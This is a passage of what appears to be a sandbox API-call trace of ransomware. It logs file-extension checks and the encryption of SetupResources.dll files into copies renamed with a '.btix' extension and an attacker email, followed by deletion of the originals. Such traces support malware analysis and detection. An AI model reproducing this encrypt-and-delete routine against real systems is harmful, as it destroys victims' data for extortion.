40 [0041.690] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0041.690] lstrlenW (lpString=".doc") returned 4 [0041.690] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0041.690] lstrlenW (lpString=".docx") returned 5 [0041.690] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0041.690] lstrlenW (lpString=".pdf") returned 4 [0041.690] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0041.690] lstrlenW (lpString=".xls") returned 4 [0041.690] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0041.690] lstrlenW (lpString=".xlsx") returned 5 [0041.690] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0041.690] lstrlenW (lpString=".ppt") returned 4 [0041.690] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0041.690] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0041.690] lstrlenW (lpString=".zip") returned 4 [0041.690] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0041.690] lstrlenW (lpString=".rar") returned 4 [0041.690] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0041.690] lstrlenW (lpString=".bz2") returned 4 [0041.690] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0041.690] lstrlenW (lpString=".7z") returned 3 [0041.690] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0041.690] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0041.690] lstrlenW (lpString=".dbf") returned 4 [0041.690] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0041.690] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0041.690] lstrlenW (lpString=".1cd") returned 4 [0041.690] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0041.690] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0041.690] lstrlenW (lpString=".jpg") returned 4 [0041.691] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0041.691] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0041.691] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0041.691] lstrlenW (lpString=".doc") returned 4 [0041.691] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0041.691] lstrlenW (lpString=".docx") returned 5 [0041.691] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0041.691] lstrlenW (lpString=".pdf") returned 4 [0041.691] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0041.691] lstrlenW (lpString=".xls") returned 4 [0041.691] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0041.691] lstrlenW (lpString=".xlsx") returned 5 [0041.691] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0041.691] lstrlenW (lpString=".ppt") returned 4 [0041.691] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0041.691] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0041.691] lstrlenW (lpString=".zip") returned 4 [0041.691] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0041.691] lstrlenW (lpString=".rar") returned 4 [0041.691] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0041.691] lstrlenW (lpString=".bz2") returned 4 [0041.691] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0041.691] lstrlenW (lpString=".7z") returned 3 [0041.691] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0041.691] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0041.691] lstrlenW (lpString=".dbf") returned 4 [0041.691] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0041.691] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0041.691] lstrlenW (lpString=".1cd") returned 4 [0041.691] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0041.691] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0041.691] lstrlenW (lpString=".jpg") returned 4 [0041.691] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0041.692] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0041.692] lstrlenW (lpString="SetupResources.dll") returned 18 [0041.692] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0041.692] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=14168) returned 1 [0041.692] CloseHandle (hObject=0x308) returned 1 [0041.692] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80 [0041.693] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.693] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0041.693] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.693] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.693] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0041.694] GetLastError () returned 0x0 [0041.694] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x3758, lpOverlapped=0x0) returned 1 [0041.699] WriteFile (in: hFile=0x324, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x3760, lpOverlapped=0x0) returned 1 [0041.700] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0041.700] WriteFile (in: hFile=0x324, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xf8, lpOverlapped=0x0) returned 1 [0041.700] SetEndOfFile (hFile=0x324) returned 1 [0041.701] CloseHandle (hObject=0x324) returned 1 [0041.701] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.701] SetEndOfFile (hFile=0x308) returned 1 [0041.702] CloseHandle (hObject=0x308) returned 1 [0041.702] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0041.703] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 1 [0041.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0041.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0041.703] lstrlenW (lpString=".doc") returned 4 [0041.703] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0041.703] lstrlenW (lpString=".docx") returned 5 [0041.703] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0041.703] lstrlenW (lpString=".pdf") returned 4 [0041.703] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0041.703] lstrlenW (lpString=".xls") returned 4 [0041.703] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0041.703] lstrlenW (lpString=".xlsx") returned 5 [0041.703] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0041.703] lstrlenW (lpString=".ppt") returned 4 [0041.703] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0041.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0041.703] lstrlenW (lpString=".zip") returned 4 [0041.703] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0041.703] lstrlenW (lpString=".rar") returned 4 [0041.703] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0041.703] lstrlenW (lpString=".bz2") returned 4 [0041.703] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0041.703] lstrlenW (lpString=".7z") returned 3 [0041.703] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0041.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0041.704] lstrlenW (lpString=".dbf") returned 4 [0041.704] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0041.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0041.704] lstrlenW (lpString=".1cd") returned 4 [0041.704] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0041.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0041.704] lstrlenW (lpString=".jpg") returned 4 [0041.704] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0041.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0041.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0041.704] lstrlenW (lpString=".doc") returned 4 [0041.704] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0041.704] lstrlenW (lpString=".docx") returned 5 [0041.704] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0041.704] lstrlenW (lpString=".pdf") returned 4 [0041.704] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0041.704] lstrlenW (lpString=".xls") returned 4 [0041.704] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0041.704] lstrlenW (lpString=".xlsx") returned 5 [0041.704] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0041.704] lstrlenW (lpString=".ppt") returned 4 [0041.704] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0041.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0041.704] lstrlenW (lpString=".zip") returned 4 [0041.704] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0041.704] lstrlenW (lpString=".rar") returned 4 [0041.704] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0041.704] lstrlenW (lpString=".bz2") returned 4 [0041.704] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0041.704] lstrlenW (lpString=".7z") returned 3 [0041.704] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0041.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0041.704] lstrlenW (lpString=".dbf") returned 4 [0041.705] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0041.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0041.705] lstrlenW (lpString=".1cd") returned 4 [0041.705] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0041.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0041.705] lstrlenW (lpString=".jpg") returned 4 [0041.705] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0041.705] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0041.705] lstrlenW (lpString="SetupResources.dll") returned 18 [0041.705] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0041.705] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=18264) returned 1 [0041.705] CloseHandle (hObject=0x308) returned 1 [0041.705] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80 [0041.705] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.706] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0041.706] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.706] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.706] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0041.713] GetLastError () returned 0x0 [0041.713] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x4758, lpOverlapped=0x0) returned 1 [0041.764] WriteFile (in: hFile=0x318, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x4760, lpOverlapped=0x0) returned 1 [0041.765] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0041.765] WriteFile (in: hFile=0x318, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xf8, lpOverlapped=0x0) returned 1 [0041.765] SetEndOfFile (hFile=0x318) returned 1 [0041.765] CloseHandle (hObject=0x318) returned 1 [0041.766] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.766] SetEndOfFile (hFile=0x308) returned 1 [0041.767] CloseHandle (hObject=0x308) returned 1 [0041.767] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0041.767] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 1 [0041.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0041.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0041.768] lstrlenW (lpString=".doc") returned 4 [0041.768] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0041.768] lstrlenW (lpString=".docx") returned 5 [0041.768] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0041.768] lstrlenW (lpString=".pdf") returned 4 [0041.768] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0041.768] lstrlenW (lpString=".xls") returned 4 [0041.768] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0041.768] lstrlenW (lpString=".xlsx") returned 5 [0041.768] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0041.768] lstrlenW (lpString=".ppt") returned 4 [0041.768] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0041.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0041.768] lstrlenW (lpString=".zip") returned 4 [0041.768] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0041.768] lstrlenW (lpString=".rar") returned 4 [0041.768] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0041.768] lstrlenW (lpString=".bz2") returned 4 [0041.768] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0041.768] lstrlenW (lpString=".7z") returned 3 [0041.768] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0041.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0041.768] lstrlenW (lpString=".dbf") returned 4 [0041.768] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0041.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0041.768] lstrlenW (lpString=".1cd") returned 4 [0041.768] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0041.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0041.768] lstrlenW (lpString=".jpg") returned 4 [0041.768] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0041.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0041.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0041.768] lstrlenW (lpString=".doc") returned 4 [0041.769] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0041.769] lstrlenW (lpString=".docx") returned 5 [0041.769] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0041.769] lstrlenW (lpString=".pdf") returned 4 [0041.769] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0041.769] lstrlenW (lpString=".xls") returned 4 [0041.769] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0041.769] lstrlenW (lpString=".xlsx") returned 5 [0041.769] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0041.769] lstrlenW (lpString=".ppt") returned 4 [0041.769] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0041.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0041.769] lstrlenW (lpString=".zip") returned 4 [0041.769] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0041.769] lstrlenW (lpString=".rar") returned 4 [0041.769] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0041.769] lstrlenW (lpString=".bz2") returned 4 [0041.769] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0041.769] lstrlenW (lpString=".7z") returned 3 [0041.769] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0041.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0041.769] lstrlenW (lpString=".dbf") returned 4 [0041.769] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0041.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0041.769] lstrlenW (lpString=".1cd") returned 4 [0041.769] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0041.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0041.769] lstrlenW (lpString=".jpg") returned 4 [0041.769] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0041.769] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0041.769] lstrlenW (lpString="SetupResources.dll") returned 18 [0041.770] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0041.770] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=19288) returned 1 [0041.770] CloseHandle (hObject=0x308) returned 1 [0041.770] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80 [0041.770] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.770] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0041.770] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.770] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.770] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0041.836] GetLastError () returned 0x0 [0041.836] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x4b58, lpOverlapped=0x0) returned 1 [0041.872] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x4b60, lpOverlapped=0x0) returned 1 [0041.873] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0041.873] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xf8, lpOverlapped=0x0) returned 1 [0041.873] SetEndOfFile (hFile=0x320) returned 1 [0041.873] CloseHandle (hObject=0x320) returned 1 [0041.874] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.874] SetEndOfFile (hFile=0x308) returned 1 [0041.875] CloseHandle (hObject=0x308) returned 1 [0041.875] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0041.875] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 1 [0041.875] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0041.875] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0041.875] lstrlenW (lpString=".doc") returned 4 [0041.875] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0041.876] lstrlenW (lpString=".docx") returned 5 [0041.876] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0041.876] lstrlenW (lpString=".pdf") returned 4 [0041.876] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0041.876] lstrlenW (lpString=".xls") returned 4 [0041.876] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0041.876] lstrlenW (lpString=".xlsx") returned 5 [0041.876] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0041.876] lstrlenW (lpString=".ppt") returned 4 [0041.876] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0041.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0041.876] lstrlenW (lpString=".zip") returned 4 [0041.876] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0041.876] lstrlenW (lpString=".rar") returned 4 [0041.876] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0041.876] lstrlenW (lpString=".bz2") returned 4 [0041.876] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0041.876] lstrlenW (lpString=".7z") returned 3 [0041.876] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0041.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0041.876] lstrlenW (lpString=".dbf") returned 4 [0041.876] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0041.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0041.876] lstrlenW (lpString=".1cd") returned 4 [0041.876] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0041.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0041.876] lstrlenW (lpString=".jpg") returned 4 [0041.876] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0041.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0041.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0041.876] lstrlenW (lpString=".doc") returned 4 [0041.876] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0041.876] lstrlenW (lpString=".docx") returned 5 [0041.877] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0041.877] lstrlenW (lpString=".pdf") returned 4 [0041.877] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0041.877] lstrlenW (lpString=".xls") returned 4 [0041.877] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0041.877] lstrlenW (lpString=".xlsx") returned 5 [0041.877] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0041.877] lstrlenW (lpString=".ppt") returned 4 [0041.877] lstrcmpiW (lpString1=".ppt", 